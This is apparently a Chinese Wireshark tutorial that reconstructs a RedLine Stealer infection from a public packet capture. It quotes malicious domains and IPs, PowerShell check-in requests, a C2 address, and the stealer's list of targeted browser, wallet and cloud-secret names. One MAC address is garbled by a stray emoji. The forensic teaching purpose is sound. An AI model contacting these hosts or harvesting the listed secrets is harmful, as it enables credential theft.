简单流量分析，串通Wireshark基本使用

前言

本文通过一段清晰的内网流量，来做一次流量分析复盘。

这是一份标准的流量分析复盘，可以完整的分析一条出这样的链路：

DHCP -> Kerberos -> DNS -> HTTP -> TLS SNI -> TCP Stream

通过此次复盘，我们会看到：

• 对于一个包，应该看哪一层
• 这个字段回答了什么问题
• 这个证据可以推断什么，不能推断什么

流量文件来自：https://unit42.paloaltonetworks.com/wireshark-quiz-redline-stealer/

DHCP，确定谁是目标

在恶意流量分析中，使用DHCP可以让我们快速确定这份文件中，谁才是被调查的目标，我们的一切推理都应该围绕我们目标开展，使用Wireshark打开流量后，在过滤器中输入：

dhcp || bootp

或者

udp.port == 67 || udp.port == 68

可以看到，我们得到了两条记录，这是一个标准的DHCP请求和DHCP响应的过程，那么根据之前的描述，我们得知：10.7.10.9是这个域的DHCP服务器，这两条记录本质描述了，当前这台主机被启动后，向服务器请求了DHCP，所以第一条记录中，可以看到源IP为0.0.0.0，这其实是DHCP初始阶段，而目标是255.255.255.255，这其实是由于当前初始阶段没有IP，只能通过广播的形式，向DHCP服务器传达请求信息，而第二条记录，可以看到服务器同样使用广播的方式将包发送给目标，其实到这里服务器已经得到目标的MAC地址以及目标的IP将会获得的IP信息，只是目标还未得到，所以这里的目标地址仍然是255.255.255.255，而且在寻址中DHCP流量使用包内的xid和目标MAC地址联合寻址。

在这里，我们先看请求流量，在Wireshark的流量页中的DHCP层中，我们可以看到（Request）字段，同时在Message Type：字段中可以看到Boot Request（1），也表明了这是一个DHCP请求，同时可以关注如下字段：

• Transaction ID 0x3157d730 它的作用就是匹配，它会与后面的DHCP ACK配成一组，我们将会看到：
  No. 1 DHCP Request xid = 0x3157d730
  No. 2 DHCP ACK xid = 0x3157d730
• Client MAC address / Client hardware address 它表明了请求方的MAC，也就是：80:86:5b🆎1e:c4
• Requested IP Address ：它表明该主机请求使用10.7.10.47
  可以在包内看到
  Option: (50) Requested IP Address
  Requested IP Address: 10.7.10.47
• Host Name 这表明了当前的主机名
  可以在包内看到
  Option: (12) Host Name
  Host Name: DESKTOP-9PEA63H
• Client Fully Qualified Domain Name 主机的完整名字
  可以在包内找到
  Option: (81) Client Fully Qualified Domain Name
  Client FQDN: DESKTOP-9PEA63H.coolweathercoat.com
  所以该主机的完整名字是：DESKTOP-9PEA63H.coolweathercoat.com
• Vendor class identifier 这是一个信息辅助字段，
  可以在包内看到
  Option: (60) Vendor class identifier
  Vendor class identifier: MSFT 5.0
  这个字段不能直接回答题目，但它有辅助价值。
  MSFT 5.0 一般说明这是 Windows DHCP 客户端。

看完第一个包内的信息，现在我们得到了：

这是一台 Windows 客户端

MAC 是 80:86:5b: ab :1e:c4

它请求 10.7.10.47

主机名是 DESKTOP-9PEA63H

域名是 coolweathercoat.com

再来看第二个包内的信息，同样直接关注DHCP层，在层上就表明了这是ACK层，同时，Message Type：Boot Reply这描述了服务器同意了这个地址的租约，这时候我们来看一些关键字段：

• Your client IP address
  Your (client) IP address: 10.7.10.47 这个字段很关键，它在DHCP结构中叫 yiaddr 它描述了DHCP服务器正式分配给客户端IP为10.7.10.47
  可以在这里确认：
  Infected Windows client IP = 10.7.10.47
• Client MAC address
  Client MAC address: 80:86:5b:a b:1e:c4 这里和第一条流量完全一致，所以确认：
  Infected Windows client MAC = 80:86:5b:a b:1e:c4
• Server Identifier
  Option: (54) DHCP Server Identifier
  DHCP Server Identifier: 10.7.10.9，这里描述的是DHCP服务器是谁，是10.7.10.9
• Router
  Option: (3) Router
  Router: 10.7.10.1 这是该网络的网关
• Domain Name Server
  Option: (6) Domain Name Server
  Domain Name Server: 10.7.10.9
  Domain Name Server: 8.8.8.8，这说明客户端会使用：10.7.10.9和8.8.8.8做DNS查询

经过阅读这两个包，我们已经确定了要调查的目标，为10.7.10.47，且目标大概率是Windows系统。

Kerberos：补全 Windows 域用户身份

确定主机之后，下一步是找用户。

在 Windows 域环境中，用户身份经常会出现在 Kerberos、LDAP、SMB、NTLM 等协议里。这份流量里，Kerberos 是最直接的入口。

在过滤器中，可以这样写：

kerberos && ip.addr == 10.7.10.47

这里的 10.7.10.9 是域控，而 10.7.10.47 是前面通过 DHCP 确定的 Windows 客户端。

Kerberos 可以简单理解为 Windows 域环境里的"票据认证系统"。用户登录域后，并不是每访问一个服务都重新输入密码，而是通过 Kerberos 向域控申请票据，然后用票据证明自己的身份。

在No.680记录上，可以看到这样的信息：

在这个包中，可以推断出：

cname-string: rwalters

Realm: COOLWEATHERCOAT.COM

因此可以得到：10.7.10.47 这台主机上的域用户是 rwalters。

但是这里要注意，这个用户rwalters只是该主机的登录用户，它与恶意流量没有任何关系，而这一步属于我们的信息补全，如果我们分析的目标出现在同网络的相关设备中，用户名可能会作为我们的信息补充。

所以到这里，我们补充了一份身份信息：

IP: 10.7.10.47

MAC: 80:86:5b:a b:1e:c4

Hostname: DESKTOP-9PEA63H

User: rwalters

Domain: coolweathercoat.com

DNS：查找可疑外联对象

首先，对目标主机进行DNS过滤

dns && ip.src == 10.7.10.47

我们也可以只去看查询

dns && ip.src == 10.7.10.47 && dns.flags.response == 0

使用DNS的目的非常明确，就是通过查看我们目标主机查询了那些DNS就可以明确在这段流量中，主机和哪些外部域名发送了接触，通常借助DNS我们就可以快速得到一份可疑名单

我们查看DNS包内，通过Queries字段，我们就可以看到每一条DNS查询的目标，这里选中查询字段下的Name字段右击，选择应用为列（Apply as Column），可以把这个字段加入到列表中，让我们快速审阅

我们这里可以看到，存在两个可疑域名分别为：

623start.site : 195.161.114.3

guiatelefonos.com : 92.118.151.9

到这里，我们可以建立初步的怀疑名单，虽然DNS只能表明主机访问过这个域名，不能证明这些域名一定是恶意来源，但是得到这份名单，我们就可以在后续验证中，尝试加入这些信息，来帮我们快速定位。

HTTP，明文流量

HTTP的分析非常重要，首先它是明文传输，它保留了所有细节可以直接看到请求方法、Host、URI、User-Agent等字段

http.request && ip.addr == 10.7.10.47

可以看到只有三条HTTP请求，我们按照实际顺序依次来查看：

Request Method: GET

Request URI: /?status=start&av=Windows%20Defender

Request Version: HTTP/1.1

Host: 623start.site

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3031

Connection: Keep-Alive

通过上述字段，我们得到很多关键信息：

• status=start 这是一个状态，表明某脚本或者程序开始执行了
• av=Windows Defender 这像是在上报当前主机中的安全信息
• WindowsPowerShell/5.1.19041.3031 在User- Agent中出现了，这说明该请求由PowerShell发出，而非普通浏览器请求访问

结合该包的时间，我们可以推算出，主机被感染的时间可能就是，该包发出请求的时间为：2023-07-10 22:39:47 UTC，结合DNS查询时的时间，

• 首次DNS查询：623start.site 2023-07-10 22:39:47.364257
• 首次HTTP ：2023-07-10 22:39:47.579630

GET /?status=install HTTP/1.1

Host: 623start.site

User-Agent: ... WindowsPowerShell/5.1.19041.3031

第二条请求，是第一条的连续，发出了install状态，这是一个连续的状态上报，我们整体追逐HTTP流可以清晰的看到：

GET /data/czx.jpg HTTP/1.1

Host: guiatelefonos.com

Connection: Keep-Alive

看到最后一条HTTP，发现它的目标已经变成了我们的DNS怀疑名单的第二个目标，请求的目标为data目录下的czx.jpg，看起来是一张图片，但是我们不能轻信这类信息，恶意流量的扩展名经常会伪装。

HTTP/1.1 301 Moved Permanently

Location: https://guiatelefonos.com:443/data/czx.jpg

Server: nginx/1.20.2

看到响应部分，服务器返回了301，并且把请求重回定向到了Location: https://guiatelefonos.com:443/data/czx.jpg，一个HTTPS服务上了。

HTTP明文部分告知我们：客户端访问了 guiatelefonos.com 的 /data/czx.jpg；

服务器要求客户端改用 HTTPS 访问同一路径；但是由于HTTPS是会被TLS加密，我们无法看到请求的完整内容，这里就就需要开始关注TLS了

TLS SNI：加密下的访问意图

HTTPS会加密传输内容，所以正常的流量中，我们无法看到：

GET 路径

Host 头

Cookie

POST Body

响应内容

但是在TLS握手阶段，客户端的ClientHello会进经常带一个字段：

server_name

这就是SNI，它的作用就是明确告诉目标，我要访问哪个域名。

使用：

tls && ip.addr == 10.7.10.47

在第No.1376记录中，我们可以看到与guiatelefonos.com的TLS握手，这也明确描述了10.7.10.47 确实在 TLS 握手中声明自己要访问 guiatelefonos.com。

SNI的价值是确定主机在经过之前的重定向后，确认访问了guiatelefonos.com，这样当前我们经历：DNS、HTTP、TLS SNI可以总结为：

• DNS:

  guiatelefonos.com -> 92.118.151.9

• HTTP:

  GET /data/czx.jpg

  Host: guiatelefonos.com

• HTTP Response:

  301 Location: https://guiatelefonos.com:443/data/czx.jpg

• TLS:

  SNI = guiatelefonos.com

至此，当前流量分析的前半段已经完成，从另一个角度描述，当前已知的线索已经被我们走了一遍了，我们大体明确了感染主机向623start.site 报告了状态和信息，从guiatelefonos.com通过https获取了一张图片，由于使用HTTPS信息，我们无法追踪后续信息，只是通过SNI确定了主机确认向目标发送了请求。

RedLine C2 : 真正的后续通信

由于在当前的分析中，我们的线索已经走完一遍了，而且简单推断目标的感染过程，目标通过HTTPS向主机已经发送了加密信息，而后续的感染过程我们无从得知，这时就要根据当前的时间线继续向后推断，我们首先可以基于全局再看一次统计会话，结合当前我们已经确定两个域名，来看看有没有更多发现

从图表中可以，我们可以看到一个怀疑目标就是194.26.135.119，它是当前我们已知对象以外与该主机交互最多的目标，我们来看一下

ip.addr == 194.26.135.119 && tcp.port == 12432

追踪这个TCP流中，我们可以看到一些明显的C2通信特征：

net.tcp://194.26.135.119:12432/

http://tempuri.org/Contract/MSValue1

http://tempuri.org/Contract/MSValue2

http://tempuri.org/Contract/MSValue3

Authorization

这里要注意，如果目标是一个标准的HTTPS流，那么我们依然无法得到任何信息，但是这条194.26.135.119:12432存在着大量的可读内容，说明它不是普通 HTTPS，或者至少其中存在可读的明文字段和结构。

在这个流中，我们可以看到存在

%userprofile%\Desktop|.txt, .doc*,key ,wallet ,seed

%userprofile%\Documents|.txt, .doc*,key ,wallet ,seed

这说明它关注了桌面和文档目录中的敏感文件，同时还可以看到大量的浏览器路径：

Google\Chrome\User Data

Microsoft\Edge\User Data

BraveSoftware\Brave-Browser\User Data

Opera Software

Mozilla\Firefox

Chromium

Vivaldi

YandexBrowser

这说明它还试图窃取浏览器相关数据，例如：

保存的账号密码

Cookie

自动填充信息

浏览器配置

同时还可以看到加密货币钱包的相关名词：

Armory

Atomic

Binance

Coinomi

Electrum

Ethereum

Exodus

Guarda

Jaxx

Monero

以及浏览器钱包扩展、云服务 API Key、开发者 Token 等内容，例如：

AWS_ACCESS_KEY_ID

AWS_SECRET_ACCESS_KEY

AZURE_CLIENT_ID

AZURE_CLIENT_SECRET

GOOGLE_API_KEY

GH_TOKEN

GITLAB_USER_LOGIN

HEROKU_API_KEY

SLACK_TOKEN

STRIPE_API_KEY

TWILIO_ACCOUNT_SID

NPM_AUTH_TOKEN

DOCKER_USERNAME

DOCKER_PASS

所以可以简单总结为：

RedLine Stealer 试图窃取浏览器凭据和浏览器数据、Cookie、自动填充信息、桌面和文档目录中的敏感文件、加密货币钱包、浏览器钱包扩展、云服务/API Token、系统信息、进程列表、截图以及文档文件。

在后续的流量中，我们还可以发现客户端会上传的内容：

总结

通过这段流量的简单分析，我们可以得到一份简单直接的调查路径：

• DHCP / BOOTP

  -> 找 IP、MAC、Hostname、Domain

• Kerberos

  -> 找 Windows 域用户

• DNS

  -> 找客户端访问过的域名

• HTTP

  -> 找明文请求、感染开始、下载路径

• TLS SNI

  -> 找 HTTPS 访问的域名

• Follow TCP Stream

  -> 看 C2 内容、配置、上传数据、窃取目标

其实分析的本质，就是围绕当前的目标，展开更多信息，查看它们的交互，在一系列目标中查找最有疑点的，而且怀疑目标应该要多维度来看，当某些线索梳理完毕后，应该要检查更多细节，直到得到我们想要的。